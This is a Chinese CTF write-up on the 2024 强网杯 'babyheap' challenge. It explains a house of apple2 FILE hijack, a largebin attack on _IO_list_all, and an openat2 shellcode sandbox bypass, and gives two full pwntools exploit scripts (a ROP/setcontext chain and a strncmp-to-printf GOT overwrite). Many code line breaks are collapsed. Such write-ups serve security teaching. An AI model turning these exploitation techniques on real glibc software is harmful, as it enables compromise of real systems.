2024强网杯--babyheap house of apple2解法

house of apple2

这次比赛看到这道题想到了用house of apple2,但是卡在了它把_IO_wfile_jumps给清零了,然后根据house of apple的调用链,我就以为做不了,其实是我对这个地方的理解不深刻。

利用_IO_wfile_overflow函数控制程序执行流

fp的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

总结一下就是

wide_data_addr = *(fake_IO_FILE_plus_addr + 0x100 )

//注意,fake_IO_FILE_plus_addr指的是可控地址的起始地址。并非_IO_FILE_plus的flag位置,这里应该是_IO_read_end

wide_data_vtable_addr =  *(wide_data_addr + 0xe0)

最终调用的是  *(wide_data_vtable_addr+0x68)

从上面的流程来看,我们之所以想要设置vtable的值为_IO_wfile_jumps,有关的值,是想要调用

_IO_wfile_overflow。但是_IO_wfile_jumps被清空有影响吗?

答案是没有影响。

我们这里是把vtable设置成_IO_wfile_jump-0x40。但是这是为啥??????

堆风水构造

只能show一次,edit一次。想要完成泄露和largebin attack,需要一点堆风水。

show一次泄露堆地址和libc,只需要chunk进入到largbin即可。

而edit一次的话,为了能largbin attack,我们肯定是edit第一个进入largbin 的chunk。

我们如果能让_IO_list_all指向我们edit的那个chunk 的话就好办很多。但是一般用largbin attack的时候,我们一般都是让_IO_list_all指向我们构造的第二个进入largbin的chunk。

其实,我们只需要申请一个和chunk2等大的chunk,使得chunk2脱离双向链表,就可以让_IO_list_all指向我们能控制的chunk1了。

这种方法是看其他wp学到的。我还能想到两种方法。

1.因为free后没有置零,可以先通过申请堆块造成指针残留,然后伪造chunk,再次free。这样我们就能控制伪造chunk的内容了。

2.申请一个很大的chunk,然后free掉。然后申请三个chunk。chunk1,chunk2,chunk3。最终目的就是控制chunk1>chunk3,但是仍在同一个largbin里。chunk2随意,主要是用来隔开chunk1和3,防止合并用的。然后free掉chunk1,送入largebin。然后edit一开始free掉的大chunk,这样我们就能控制chunk3的内容了。

沙箱绕过

禁用了open和openat。刚好之前看过并且积累了openat2的汇编代码。控制程序执行流之后打一个vmprotect然后执行这段代码就可以了。

其他注意点

这个题目libc是2.35版本,在 *(wide_data_vtable_addr+0x68) 最后这一步调用的时候rdx指向的是wide_data_addr。所以用setcontext就比较好用了。

largebin中只有一个chunk的时候,fd_nextsize和bk_nextsize指向的都是自己。

exp

from pwn import*
context(arch='amd64', os='linux',log_level="debug")#libc = ELF("../libc/")
libc = ELF("./libc-2.35.so")def debug():gdb.attach(p)pause()"""""
def xxx():p.sendlineafter("")p.sendlineafter("")p.sendlineafter("")
"""def get_p(name):global p,elf p = process(name, env={"LD_PRELOAD":"./libc-2.35.so"})# p = remote("47.93.55.85",33046)elf = ELF(name)def add(size):p.sendlineafter("Enter your choice: ",'1')p.sendlineafter("Enter your commodity size",str(size))def dele(idx):p.sendlineafter("Enter your choice: ",'2')p.sendlineafter("Enter which to delete:",str(idx))def edit(idx,content):p.sendlineafter("Enter your choice: ",'3')p.sendlineafter("Enter which ",str(idx))p.sendafter("Input the content",content)def show(idx):p.sendlineafter("Enter your choice: ",'4')p.sendlineafter("Enter which ",str(idx))def set_gev(chose):p.sendlineafter("Enter your choice: ",'5')p.sendlineafter("Maybe you will be sad !",str(chose))get_p("./pwn")
add(0x520)
add(0x500)
add(0x510)
dele(1)
add(0x540)
show(1)libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x21b110
print(hex(libc.address))
p.recv(2+8)
heap = u64(p.recv(8))
print(hex(heap))
debug()
dele(3)payload = p64(libc.address+0x21b110)*2 + p64(heap) + p64(libc.sym['_IO_list_all']-0x20)FP = heap 
A = FP + 0x100 #wide_data
B = A + 0xe0 - 0x60 #wide_data_vtable_IO_wfile_jumps = libc.address + 0x216f58 - 0x18
ROP_addr = heap+0x300
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx = 0x000000000011f2e7 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
ret = pop_rdi + 1
syscall = 0x0000000000091316 + libc.address
setcontext = libc.sym['setcontext']
payload = (payload).ljust((0xa0-0x10),b"\x00") + p64(A) # 
payload = payload.ljust(0xb0,b"\x00") + p64(1)
payload = payload.ljust(0xc8,b"\x00") + p64(_IO_wfile_jumps-0x40)     
payload = payload.ljust(0x190,b"\x00") + p64(ROP_addr) + p64(ret)
payload = payload.ljust(0xf0+0xe0,b"\x00") + p64(B) + p64(setcontext + 61)code = asm('''mov rax, 0x67616c662f2epush raxxor rdi, rdisub rdi, 100mov rsi, rsppush 0push 0push 0mov rdx, rspmov r10, 0x18push SYS_openat2pop raxsyscallmov rax,0mov rdi,3mov rsi,rspmov rdx,0x50syscallmov rax,1mov rdi,1syscall    ''')payload = payload.ljust(0x2f0,b"\x00") + p64(pop_rdi) + p64(heap&0xfffffffff000) + p64(pop_rsi) + p64(0x3000) + p64(pop_rdx) + p64(7)*2 + p64(libc.sym['mprotect']) + p64(heap+0x400)payload = payload.ljust(0x3f0,b"\x00") + codelibc_base = libc.address
flag_addr = heap
heap_addr = heap
fake_IO_FILE = flat({0x0: libc.address+0x21b110,                          # _IO_read_end      这几个不能用于赋值0x8: libc.address+0x21b110,                          # _IO_read_base     这几个不能用于赋值0x10:heap,#heap_base + (0x556eeb998380 - 0x556eeb996000),                         # _IO_write_base   这几个不能用于赋值0x18:libc.sym['_IO_list_all']-0x20,#heap_base + (0x556eeb998380 - 0x556eeb996000),                         # _IO_write_ptr    这几个不能用于赋值0x20: 0,         # _IO_write_end    <<<----fake_IO_wide_data的起始  0x0_IO_read_ptr0x28: 0,                 # _IO_buf_base                                    0x8:_IO_read_end0x30: 0,         # _IO_buf_end                                     0x10:_IO_read_base0x38: 0,                         # _IO_save_base                                   0x18:_IO_write_base    <<-- 00x40: 0,        # _IO_backup_base                                 0x20:_IO_write_ptr0x48: 0,                         # _IO_save_end                                    0x28:_IO_write_end0x50: 0,                         # _markers                                        0x30:_IO_buf_base      <<-- 00x58: 0,                         # _chain                                          0x38:_IO_buf_end0x60: 0,         # _fileno                                         0x40:_IO_save_base0x68: 0,                         # _old_offset                                     0x48:_IO_backup_base0x70: 0,        # _cur_column                                     0x50:_IO_save_end0x78: 0,         # _lock                                           0x58:_IO_state0x80: 0,                         # _offset                                         0x60:0x88: 0,         # _codecvt                                        0x680x90: p64(A), ####### _wide_data                                                         #           0x70:0x98: libc_base+0x11f2e7,        # _freeres_list                                   0x780xa0: 0x100,                     # _freeres_buf                                    0x800xa8: 0,                         # __pad5                                          0x880xb0: 1,                         # _mode                                           0x900xb8: libc_base+0x11f2e7,        #                                                 0x980xc0: 0x100,                     #                                                 0xa00xc8:_IO_wfile_jumps-0x40 ,      # vtable                                          0xa80xd0:libc_base+0x2a3e5,          #                                                 0xb00xd8:1,                          #                                                 0xb80xe0:libc_base+0x114870,         #                                                 0xc00xe8:0,                          #                                                 0xc80xf0:0,                          #    wide_data                                    0xd00xf8:0,          #                                                 0xd80x100:0,            #                                                 0xe0:_wide_vtable0x108:0,0x110:0,0x190: ROP_addr,0x198: ret,0x1d0: p64(B),0x1d8: p64(setcontext + 61),   ### rdx指向的是 wide_data的地址 也就是*(0x90)的位置 0x2f0: p64(pop_rdi) , 0x2f8: p64(heap&0xfffffffff000),0x300: p64(pop_rsi),0x308: p64(0x3000) ,0x310: p64(pop_rdx), # pop_rdx_pop_r120x318: p64(7),0x320: p64(7),0x328: p64(libc.sym['mprotect']) + p64(heap+0x400),0x3f0: code},filler = b'\x00')edit(1,fake_IO_FILE)add(0x5f0)### 取出largebin  中的第二个,使得_IO_list_all指向第一个chunk       
add(0x510)# gdb.attach(p,"b *&_IO_wfile_overflow")# chunk overflow 触发exit
add(0x600)
p.interactive()

最后给出N0wayback联合战队的一种解法,妙是妙,但是不容易想到

法二:利用putenv函数的机制

看 libc 里对 getenv 的实现会用到 strncmp(爆破逐一修改 got 时发现),将 libc 里的 strncmp_got 改成 printf 后再对 Secret Env 2 进行调用即可输出环境变量,可以带出 flag

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['47.93.15.136', 36880]
pwnfile = './pwn'elf = ELF(pwnfile)
libc = elf.libcdef loginfo(a, b=None):if b is None:log.info(a)else:log.info(a + hex(b))if len(sys.argv) == 2:if 'p' in sys.argv[1]:p = process(pwnfile)elif 'r' in sys.argv[1]:p = remote(ip_port[0], ip_port[1])
else:loginfo("INVALID_PARAMETER")sys.exit(1)def recv64_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def debug(content=None):if content is None:gdb.attach(p)pause()else:gdb.attach(p, content)pause()def menu(index):p.sendlineafter('choice: \n', str(index))def add(size):menu(1)p.sendlineafter('size \n', str(size))def delete(index):menu(2)p.sendlineafter('delete: \n', str(index))def edit(index, content='a'):menu(3)p.sendlineafter('edit: \n', str(index))p.sendafter('content \n', content)def show(index):menu(4)p.sendlineafter('show: \n', str(index))def exp():add(0x500)add(0x500)delete(1)show(1)libc_base = recv64_addr() - 0x21ace0strncmp_got = libc_base + 0x21A018 + (0x8*32)#+ 0x21A118menu(11)p.send(p64(strncmp_got))p.send(p64(libc_base + libc.symbols['printf']))menu(5)# debug('b *$rebase(0x1E5F)')p.sendlineafter('sad !\n', '2')exp()
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/60930.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java八股(一)

目录 1.JVM、JRE、JDK之间的关系 2.static关键字作用&#xff08;通俗版&#xff09; 3.面向对象、面向过程 4.私有方法 5.Java代码执行与编译 6.IOC 1.JVM、JRE、JDK之间的关系 Java一次编写到处运行&#xff0c;可移植性好&#xff0c;保证这一点的就是iava虚拟机JVM …

Cannot find a valid baseurl for repo: centos-sclo-rh/x86_64

yum install 报错: Cannot find a valid baseurl for repo: centos-sclo-rh/x86_64 CentOS7的SCL源在2024年6月30日停止维护了。 当scl源里面默认使用了centos官方的地址&#xff0c;无法连接&#xff0c;需要替换为阿里云。 cd /etc/yum.repos.d/ 找到 CentOS-SCLo-scl.repo 和…

Vue前端开发-slot传参

slot 又称插槽&#xff0c;它是在子组件中为父组件提供的一个占位符&#xff0c;使用来表示&#xff0c;通过这个占位符&#xff0c;父组件可以向中填充任意的内容代码&#xff0c;这些代码将自动替换占位符的位置&#xff0c;从而轻松实现在父组件中控制子组件内容的需求。 作…

如何在 Ubuntu 22.04 上安装带有 Nginx 的 ELK Stack

今天我们来聊聊如何在 Ubuntu 22.04 服务器上安装 ELK Stack&#xff0c;并集成 Nginx 作为 Web 服务器&#xff0c;同时使用 Let’s Encrypt Certbot 进行 SSL 认证。ELK Stack&#xff0c;包括 Elasticsearch、Logstash 和 Kibana&#xff0c;是一套强大的工具&#xff0c;用…

快速理解微服务中Sentinel怎么实现限流

Sentinel是通过动态管理限流规则&#xff0c;根据定义的规则对请求进行限流控制。 一.实现步骤 1.定义资源&#xff1a;在Sentinel中&#xff0c;资源可以是URL、方法等&#xff0c;用于标识需要进行限流的请求&#xff1b;(在Sentinel中&#xff0c;需要我们去告诉Sentinel哪些…

基于单片机的智慧小区人脸识别门禁系统

本设计基于单片机的智慧小区人脸识别门禁系统。由STM32F103C8T6单片机核心板、显示模块、摄像头模块、舵机模块、按键模块和电源模块组成。可以通过摄像头模块对进入人员人脸数据进行采集&#xff0c;识别成功后&#xff0c;舵机模块动作&#xff0c;模拟门禁打开&#xff0c;门…

llama-factory 系列教程 (七),Qwen2.5-7B-Instruct 模型微调与vllm部署详细流程实战

文章目录 介绍llama-factory 安装装包下载模型 微调模型数据集训练模型 微调后的模型推理 介绍 时隔已久的 llama-factory 系列教程更新了。本篇文章是第七篇&#xff0c;之前的六篇&#xff0c;大家酌情选看即可。 因为llama-factory进行了更新&#xff0c;我前面几篇文章的实…

利用Docker容器技术部署发布web应用程序

Docker是什么&#xff1f; docker 是一个开源的应用容器引擎&#xff0c;可以帮助开发者打包应用以及依赖包到一个可移植的容器中&#xff0c;然后发布到任何流行的Linux机器上&#xff0c;也可以实现虚拟化&#xff0c;容器是完全使用沙箱机制&#xff0c;相互之间不会有任何…

SpringCloud框架学习(第五部分:SpringCloud Alibaba入门和 nacos)

目录 十二、SpringCloud Alibaba入门简介 1. 基本介绍 2.作用 3.版本选型 十三、 SpringCloud Alibaba Nacos服务注册和配置中心 1.简介 2.各种注册中心比较 3.下载安装 4.Nacos Discovery服务注册中心 &#xff08;1&#xff09; 基于 Nacos 的服务提供者 &#xf…

Linux—进程概念学习-03

目录 Linux—进程学习—31.进程优先级1.1Linux中的进程优先级1.2修改进程优先级—top 2.进程的其他概念3.进程切换4.环境变量4.0环境变量的理解4.1环境变量的基本概念4.2添加环境变量—export4.3Linux中环境变量的由来4.4常见环境变量4.5和环境变量相关的命令4.6通过系统调用获…

信创改造 - TongRDS 替换 Redis

记得开放 6379 端口哦 1&#xff09;首先在服务器上安装好 TongRDS 2&#xff09;替换 redis 的 host&#xff0c;post&#xff0c;passwd 3&#xff09;TongRDS 兼容 jedis # 例如&#xff1a;更改原先 redis 中对应的 host&#xff0c;post&#xff0c;passwd 改成 TongRDS…

Python 爬虫入门教程:从零构建你的第一个网络爬虫

网络爬虫是一种自动化程序&#xff0c;用于从网站抓取数据。Python 凭借其丰富的库和简单的语法&#xff0c;是构建网络爬虫的理想语言。本文将带你从零开始学习 Python 爬虫的基本知识&#xff0c;并实现一个简单的爬虫项目。 1. 什么是网络爬虫&#xff1f; 网络爬虫&#x…

从0到1部署Tomcat和添加servlet(IDEA2024最新版详细教程)

本文不仅细化了每一个步骤&#xff0c;实现了从0到1部署Tomcat和添加servlet。还针对IDEA2024版和以前的版本在部署上的区别&#xff0c;做了详细介绍&#xff0c;尤其是add framework support部分。与此同时&#xff0c;针对控制台中文乱码问题&#xff0c;本文也给出了详细解…

书生大模型实战营第四期-入门岛-4. maas课程任务

书生大模型实战营第四期-入门岛-4. maas课程任务 任务一、模型下载 任务内容 使用Hugging Face平台、魔搭社区平台&#xff08;可选&#xff09;和魔乐社区平台&#xff08;可选&#xff09;下载文档中提到的模型&#xff08;至少需要下载config.json文件、model.safetensor…

相亲交友小程序项目介绍

一、项目背景 在当今快节奏的社会生活中&#xff0c;人们忙于工作和事业&#xff0c;社交圈子相对狭窄&#xff0c;寻找合适的恋爱对象变得愈发困难。相亲交友作为一种传统而有效的社交方式&#xff0c;在现代社会依然有着巨大的需求。我们的相亲交友项目旨在为广大单身人士提…

初级数据结构——二叉树题库(c++)

这里写目录标题 前言[1.——965. 单值二叉树](https://leetcode.cn/problems/univalued-binary-tree/)[2.——222. 完全二叉树的节点个数](https://leetcode.cn/problems/count-complete-tree-nodes/)[3.——144. 二叉树的前序遍历](https://leetcode.cn/problems/binary-tree-…

【前端】ES6基础

1.开发工具 vscode地址 :https://code.visualstudio.com/download, 下载对应系统的版本windows一般都是64位的 安装可以自选目录&#xff0c;也可以使用默认目录 插件&#xff1a; 输入 Chinese&#xff0c;中文插件 安装&#xff1a; open in browser&#xff0c;直接右键文件…

25A物联网微型断路器 智慧空开1P 2P 3P 4P-安科瑞黄安南

微型断路器&#xff0c;作为现代电气系统中不可或缺的重要组件&#xff0c;在保障电路安全与稳定运行方面发挥着关键作用。从其工作原理来看&#xff0c;微型断路器通过感知电流的异常变化来迅速作出响应。当电路中的电流超过预设的安全阈值时&#xff0c;其内部的电磁感应装置…

数据结构--Map和Set

目录 一.二叉搜索树1.1 概念1.2 二叉搜索树的简单实现 二.Map2.1 概念2.2 Map常用方法2.3 Map使用注意点2.4 TreeMap和HashMap的区别2.5 HashMap底层知识点 三.Set3.1 概念3.2 Set常用方法3.3 Set使用注意点3.4 TreeSet与HashSet的区别 四.哈希表4.1 概念4.2 哈希冲突与避免4.3…

计算机操作系统——进程控制(Linux)

进程控制 进程创建fork&#xff08;&#xff09;函数fork() 的基本功能fork() 的基本语法fork() 的工作原理fork() 的典型使用示例fork() 的常见问题fork() 和 exec() 结合使用总结 进程终止与$进程终止的本质进程终止的情况正常退出&#xff08;Exit&#xff09;由于信号终止非…